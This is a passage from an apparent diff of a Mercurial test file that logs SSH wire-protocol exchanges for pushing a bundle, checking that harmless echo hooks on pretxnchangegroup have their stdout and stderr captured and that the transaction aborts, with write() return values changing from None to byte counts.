1208 1208 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1209 1209 i> \x00\x00\x00\x00\x00\x00\x00\x00
1210 i> write(2) -> None:
1210 i> write(2) -> 2:
1211 1211 i> 0\n
1212 1212 i> flush() -> None
1213 1213 o> readline() -> 2:
1214 1214 o> 0\n
1215 1215 o> readline() -> 2:
1216 1216 o> 1\n
1217 1217 o> read(1) -> 1: 0
1218 1218 result: 0
1219 1219 remote output:
1220 1220 e> read(-1) -> 216:
1221 1221 e> adding changesets\n
1222 1222 e> adding manifests\n
1223 1223 e> adding file changes\n
1224 1224 e> added 1 changesets with 1 changes to 1 files\n
1225 1225 e> stderr 1\n
1226 1226 e> stderr 2\n
1227 1227 e> stdout 1\n
1228 1228 e> stdout 2\n
1229 1229 e> transaction abort!\n
1230 1230 e> rollback completed\n
1231 1231 e> abort: pretxnchangegroup.fail hook failed\n
1232 1232
1233 1233 Shell hook writing to stdout has output captured
1234 1234
1235 1235 $ cat > $TESTTMP/hook.sh << EOF
1236 1236 > echo 'stdout 1'
1237 1237 > echo 'stdout 2'
1238 1238 > exit 1
1239 1239 > EOF
1240 1240
1241 1241 $ cat > .hg/hgrc << EOF
1242 1242 > [hooks]
1243 1243 > pretxnchangegroup.fail = sh $TESTTMP/hook.sh
1244 1244 > EOF
1245 1245
1246 1246 $ debugwireproto << EOF
1247 1247 > command unbundle
1248 1248 > # This is "force" in hex.
1249 1249 > heads 666f726365
1250 1250 > PUSHFILE ../initial.v1.hg
1251 1251 > readavailable
1252 1252 > EOF
1253 1253 testing ssh1
1254 1254 creating ssh peer from handshake results
1255 i> write(104) -> None:
1255 i> write(104) -> 104:
1256 1256 i> hello\n
1257 1257 i> between\n
1258 1258 i> pairs 81\n
1259 1259 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1260 1260 i> flush() -> None
1261 1261 o> readline() -> 4:
1262 1262 o> 384\n
1263 1263 o> readline() -> 384:
1264 1264 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1265 1265 o> readline() -> 2:
1266 1266 o> 1\n
1267 1267 o> readline() -> 1:
1268 1268 o> \n
1269 1269 sending unbundle command
1270 i> write(9) -> None:
1270 i> write(9) -> 9:
1271 1271 i> unbundle\n
1272 i> write(9) -> None:
1272 i> write(9) -> 9:
1273 1273 i> heads 10\n
1274 i> write(10) -> None: 666f726365
1274 i> write(10) -> 10: 666f726365
1275 1275 i> flush() -> None
1276 1276 o> readline() -> 2:
1277 1277 o> 0\n
1278 i> write(4) -> None:
1278 i> write(4) -> 4:
1279 1279 i> 426\n
1280 i> write(426) -> None:
1280 i> write(426) -> 426:
1281 1281 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1282 1282 i> test\n
1283 1283 i> 0 0\n
1284 1284 i> foo\n
1285 1285 i> \n
1286 1286 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1287 1287 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1288 1288 i> \x00\x00\x00\x00\x00\x00\x00\x00
1289 i> write(2) -> None:
1289 i> write(2) -> 2:
1290 1290 i> 0\n
1291 1291 i> flush() -> None
1292 1292 o> readline() -> 2:
1293 1293 o> 0\n
1294 1294 o> readline() -> 2:
1295 1295 o> 1\n
1296 1296 o> read(1) -> 1: 0
1297 1297 result: 0
1298 1298 remote output:
1299 1299 e> read(-1) -> 212:
1300 1300 e> adding changesets\n
1301 1301 e> adding manifests\n
1302 1302 e> adding file changes\n
1303 1303 e> added 1 changesets with 1 changes to 1 files\n
1304 1304 e> stdout 1\n
1305 1305 e> stdout 2\n
1306 1306 e> transaction abort!\n
1307 1307 e> rollback completed\n
1308 1308 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1309 1309
1310 1310 testing ssh2
1311 1311 creating ssh peer from handshake results
1312 i> write(171) -> None:
1312 i> write(171) -> 171:
1313 1313 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1314 1314 i> hello\n
1315 1315 i> between\n
1316 1316 i> pairs 81\n
1317 1317 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1318 1318 i> flush() -> None
1319 1319 o> readline() -> 62:
1320 1320 o> upgraded * exp-ssh-v2-0001\n (glob)
1321 1321 o> readline() -> 4:
1322 1322 o> 383\n
1323 1323 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1324 1324 o> read(1) -> 1:
1325 1325 o> \n
1326 1326 sending unbundle command
1327 i> write(9) -> None:
1327 i> write(9) -> 9:
1328 1328 i> unbundle\n
1329 i> write(9) -> None:
1329 i> write(9) -> 9:
1330 1330 i> heads 10\n
1331 i> write(10) -> None: 666f726365
1331 i> write(10) -> 10: 666f726365
1332 1332 i> flush() -> None
1333 1333 o> readline() -> 2:
1334 1334 o> 0\n
1335 i> write(4) -> None:
1335 i> write(4) -> 4:
1336 1336 i> 426\n
1337 i> write(426) -> None:
1337 i> write(426) -> 426:
1338 1338 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1339 1339 i> test\n
1340 1340 i> 0 0\n
1341 1341 i> foo\n
1342 1342 i> \n
1343 1343 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1344 1344 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1345 1345 i> \x00\x00\x00\x00\x00\x00\x00\x00
1346 i> write(2) -> None:
1346 i> write(2) -> 2:
1347 1347 i> 0\n
1348 1348 i> flush() -> None
1349 1349 o> readline() -> 2:
1350 1350 o> 0\n
1351 1351 o> readline() -> 2:
1352 1352 o> 1\n
1353 1353 o> read(1) -> 1: 0
1354 1354 result: 0
1355 1355 remote output:
1356 1356 e> read(-1) -> 212:
1357 1357 e> adding changesets\n
1358 1358 e> adding manifests\n
1359 1359 e> adding file changes\n
1360 1360 e> added 1 changesets with 1 changes to 1 files\n
1361 1361 e> stdout 1\n
1362 1362 e> stdout 2\n
1363 1363 e> transaction abort!\n
1364 1364 e> rollback completed\n
1365 1365 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1366 1366
1367 1367 Shell hook writing to stderr has output captured
1368 1368
1369 1369 $ cat > $TESTTMP/hook.sh << EOF
1370 1370 > echo 'stderr 1' 1>&2
1371 1371 > echo 'stderr 2' 1>&2
1372 1372 > exit 1
1373 1373 > EOF
1374 1374
1375 1375 $ debugwireproto << EOF
1376 1376 > command unbundle
1377 1377 > # This is "force" in hex.
1378 1378 > heads 666f726365
1379 1379 > PUSHFILE ../initial.v1.hg
1380 1380 > readavailable
1381 1381 > EOF
1382 1382 testing ssh1
1383 1383 creating ssh peer from handshake results
1384 i> write(104) -> None:
1384 i> write(104) -> 104:
1385 1385 i> hello\n
1386 1386 i> between\n
1387 1387 i> pairs 81\n
1388 1388 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1389 1389 i> flush() -> None
1390 1390 o> readline() -> 4:
1391 1391 o> 384\n
1392 1392 o> readline() -> 384:
1393 1393 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1394 1394 o> readline() -> 2:
1395 1395 o> 1\n
1396 1396 o> readline() -> 1:
1397 1397 o> \n
1398 1398 sending unbundle command
1399 i> write(9) -> None:
1399 i> write(9) -> 9:
1400 1400 i> unbundle\n
1401 i> write(9) -> None:
1401 i> write(9) -> 9:
1402 1402 i> heads 10\n
1403 i> write(10) -> None: 666f726365
1403 i> write(10) -> 10: 666f726365
1404 1404 i> flush() -> None
1405 1405 o> readline() -> 2:
1406 1406 o> 0\n
1407 i> write(4) -> None:
1407 i> write(4) -> 4:
1408 1408 i> 426\n
1409 i> write(426) -> None:
1409 i> write(426) -> 426:
1410 1410 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1411 1411 i> test\n
1412 1412 i> 0 0\n
1413 1413 i> foo\n
1414 1414 i> \n
1415 1415 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1416 1416 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1417 1417 i> \x00\x00\x00\x00\x00\x00\x00\x00
1418 i> write(2) -> None:
1418 i> write(2) -> 2:
1419 1419 i> 0\n
1420 1420 i> flush() -> None
1421 1421 o> readline() -> 2:
1422 1422 o> 0\n
1423 1423 o> readline() -> 2:
1424 1424 o> 1\n
1425 1425 o> read(1) -> 1: 0
1426 1426 result: 0
1427 1427 remote output:
1428 1428 e> read(-1) -> 212:
1429 1429 e> adding changesets\n
1430 1430 e> adding manifests\n
1431 1431 e> adding file changes\n
1432 1432 e> added 1 changesets with 1 changes to 1 files\n
1433 1433 e> stderr 1\n
1434 1434 e> stderr 2\n
1435 1435 e> transaction abort!\n
1436 1436 e> rollback completed\n
1437 1437 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1438 1438
1439 1439 testing ssh2
1440 1440 creating ssh peer from handshake results
1441 i> write(171) -> None:
1441 i> write(171) -> 171:
1442 1442 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1443 1443 i> hello\n
1444 1444 i> between\n
1445 1445 i> pairs 81\n
1446 1446 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1447 1447 i> flush() -> None
1448 1448 o> readline() -> 62:
1449 1449 o> upgraded * exp-ssh-v2-0001\n (glob)
1450 1450 o> readline() -> 4:
1451 1451 o> 383\n
1452 1452 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1453 1453 o> read(1) -> 1:
1454 1454 o> \n
1455 1455 sending unbundle command
1456 i> write(9) -> None:
1456 i> write(9) -> 9:
1457 1457 i> unbundle\n
1458 i> write(9) -> None:
1458 i> write(9) -> 9:
1459 1459 i> heads 10\n
1460 i> write(10) -> None: 666f726365
1460 i> write(10) -> 10: 666f726365
1461 1461 i> flush() -> None
1462 1462 o> readline() -> 2:
1463 1463 o> 0\n
1464 i> write(4) -> None:
1464 i> write(4) -> 4:
1465 1465 i> 426\n
1466 i> write(426) -> None:
1466 i> write(426) -> 426:
1467 1467 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1468 1468 i> test\n
1469 1469 i> 0 0\n
1470 1470 i> foo\n
1471 1471 i> \n
1472 1472 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1473 1473 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1474 1474 i> \x00\x00\x00\x00\x00\x00\x00\x00
1475 i> write(2) -> None:
1475 i> write(2) -> 2:
1476 1476 i> 0\n
1477 1477 i> flush() -> None
1478 1478 o> readline() -> 2:
1479 1479 o> 0\n
1480 1480 o> readline() -> 2:
1481 1481 o> 1\n
1482 1482 o> read(1) -> 1: 0
1483 1483 result: 0
1484 1484 remote output:
1485 1485 e> read(-1) -> 212:
1486 1486 e> adding changesets\n
1487 1487 e> adding manifests\n
1488 1488 e> adding file changes\n
1489 1489 e> added 1 changesets with 1 changes to 1 files\n
1490 1490 e> stderr 1\n
1491 1491 e> stderr 2\n
1492 1492 e> transaction abort!\n
1493 1493 e> rollback completed\n
1494 1494 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1495 1495
1496 1496 Shell hook writing to stdout and stderr has output captured
1497 1497
1498 1498 $ cat > $TESTTMP/hook.sh << EOF
1499 1499 > echo 'stdout 1'
1500 1500 > echo 'stderr 1' 1>&2
1501 1501 > echo 'stdout 2'
1502 1502 > echo 'stderr 2' 1>&2
1503 1503 > exit 1
1504 1504 > EOF
1505 1505
1506 1506 $ debugwireproto << EOF
1507 1507 > command unbundle
1508 1508 > # This is "force" in hex.
1509 1509 > heads 666f726365
1510 1510 > PUSHFILE ../initial.v1.hg
1511 1511 > readavailable
1512 1512 > EOF
1513 1513 testing ssh1
1514 1514 creating ssh peer from handshake results
1515 i> write(104) -> None:
1515 i> write(104) -> 104:
1516 1516 i> hello\n
1517 1517 i> between\n
1518 1518 i> pairs 81\n
1519 1519 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1520 1520 i> flush() -> None
1521 1521 o> readline() -> 4:
1522 1522 o> 384\n
1523 1523 o> readline() -> 384:
1524 1524 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1525 1525 o> readline() -> 2:
1526 1526 o> 1\n
1527 1527 o> readline() -> 1:
1528 1528 o> \n
1529 1529 sending unbundle command
1530 i> write(9) -> None:
1530 i> write(9) -> 9:
1531 1531 i> unbundle\n
1532 i> write(9) -> None:
1532 i> write(9) -> 9:
1533 1533 i> heads 10\n
1534 i> write(10) -> None: 666f726365
1534 i> write(10) -> 10: 666f726365
1535 1535 i> flush() -> None
1536 1536 o> readline() -> 2:
1537 1537 o> 0\n
1538 i> write(4) -> None:
1538 i> write(4) -> 4:
1539 1539 i> 426\n
1540 i> write(426) -> None:
1540 i> write(426) -> 426:
1541 1541 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1542 1542 i> test\n
1543 1543 i> 0 0\n
1544 1544 i> foo\n
1545 1545 i> \n
1546 1546 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1547 1547 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1548 1548 i> \x00\x00\x00\x00\x00\x00\x00\x00
1549 i> write(2) -> None:
1549 i> write(2) -> 2:
1550 1550 i> 0\n
1551 1551 i> flush() -> None
1552 1552 o> readline() -> 2:
1553 1553 o> 0\n
1554 1554 o> readline() -> 2:
1555 1555 o> 1\n
1556 1556 o> read(1) -> 1: 0
1557 1557 result: 0
1558 1558 remote output:
1559 1559 e> read(-1) -> 230:
1560 1560 e> adding changesets\n
1561 1561 e> adding manifests\n
1562 1562 e> adding file changes\n
1563 1563 e> added 1 changesets with 1 changes to 1 files\n
1564 1564 e> stdout 1\n
1565 1565 e> stderr 1\n
1566 1566 e> stdout 2\n
1567 1567 e> stderr 2\n
1568 1568 e> transaction abort!\n
1569 1569 e> rollback completed\n
1570 1570 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1571 1571
1572 1572 testing ssh2
1573 1573 creating ssh peer from handshake results
1574 i> write(171) -> None:
1574 i> write(171) -> 171:
1575 1575 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1576 1576 i> hello\n
1577 1577 i> between\n
1578 1578 i> pairs 81\n
1579 1579 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1580 1580 i> flush() -> None
1581 1581 o> readline() -> 62:
1582 1582 o> upgraded * exp-ssh-v2-0001\n (glob)
1583 1583 o> readline() -> 4:
1584 1584 o> 383\n
1585 1585 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1586 1586 o> read(1) -> 1:
1587 1587 o> \n
1588 1588 sending unbundle command
1589 i> write(9) -> None:
1589 i> write(9) -> 9:
1590 1590 i> unbundle\n
1591 i> write(9) -> None:
1591 i> write(9) -> 9:
1592 1592 i> heads 10\n
1593 i> write(10) -> None: 666f726365
1593 i> write(10) -> 10: 666f726365
1594 1594 i> flush() -> None
1595 1595 o> readline() -> 2:
1596 1596 o> 0\n
1597 i> write(4) -> None:
1597 i> write(4) -> 4:
1598 1598 i> 426\n
1599 i> write(426) -> None:
1599 i> write(426) -> 426:
1600 1600 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1601 1601 i> test\n
1602 1602 i> 0 0\n
1603 1603 i> foo\n
1604 1604 i> \n
1605 1605 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1606 1606 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1607 1607 i> \x00\x00\x00\x00\x00\x00\x00\x00
1608 i> write(2) -> None:
1608 i> write(2) -> 2:
1609 1609 i> 0\n
1610 1610 i> flush() -> None
1611 1611 o> readline() -> 2:
1612 1612 o> 0\n
1613 1613 o> readline() -> 2:
1614 1614 o> 1\n
1615 1615 o> read(1) -> 1: 0
1616 1616 result: 0
1617 1617 remote output:
1618 1618 e> read(-1) -> 230:
1619 1619 e> adding changesets\n
1620 1620 e> adding manifests\n
1621 1621 e> adding file changes\n
1622 1622 e> added 1 changesets with 1 changes to 1 files\n
1623 1623 e> stdout 1\n
1624 1624 e> stderr 1\n
1625 1625 e> stdout 2\n
1626 1626 e> stderr 2\n
1627 1627 e> transaction abort!\n
1628 1628 e> rollback completed\n
1629 1629 e> abort: pretxnchangegroup.fail hook exited with status 1\n
1630 1630
1631 1631 Shell and Python hooks writing to stdout and stderr have output captured
1632 1632
1633 1633 $ cat > $TESTTMP/hook.sh << EOF
1634 1634 > echo 'shell stdout 1'
1635 1635 > echo 'shell stderr 1' 1>&2
1636 1636 > echo 'shell stdout 2'
1637 1637 > echo 'shell stderr 2' 1>&2
1638 1638 > exit 0
1639 1639 > EOF
1640 1640
1641 1641 $ cat > .hg/hgrc << EOF
1642 1642 > [hooks]
1643 1643 > pretxnchangegroup.a = sh $TESTTMP/hook.sh
1644 1644 > pretxnchangegroup.b = python:$TESTTMP/failhook:hookprintstderrandstdout
1645 1645 > EOF
1646 1646
1647 1647 $ debugwireproto << EOF
1648 1648 > command unbundle
1649 1649 > # This is "force" in hex.
1650 1650 > heads 666f726365
1651 1651 > PUSHFILE ../initial.v1.hg
1652 1652 > readavailable
1653 1653 > EOF
1654 1654 testing ssh1
1655 1655 creating ssh peer from handshake results
1656 i> write(104) -> None:
1656 i> write(104) -> 104:
1657 1657 i> hello\n
1658 1658 i> between\n
1659 1659 i> pairs 81\n
1660 1660 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1661 1661 i> flush() -> None
1662 1662 o> readline() -> 4:
1663 1663 o> 384\n
1664 1664 o> readline() -> 384:
1665 1665 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1666 1666 o> readline() -> 2:
1667 1667 o> 1\n
1668 1668 o> readline() -> 1:
1669 1669 o> \n
1670 1670 sending unbundle command
1671 i> write(9) -> None:
1671 i> write(9) -> 9:
1672 1672 i> unbundle\n
1673 i> write(9) -> None:
1673 i> write(9) -> 9:
1674 1674 i> heads 10\n
1675 i> write(10) -> None: 666f726365
1675 i> write(10) -> 10: 666f726365
1676 1676 i> flush() -> None
1677 1677 o> readline() -> 2:
1678 1678 o> 0\n
1679 i> write(4) -> None:
1679 i> write(4) -> 4:
1680 1680 i> 426\n
1681 i> write(426) -> None:
1681 i> write(426) -> 426:
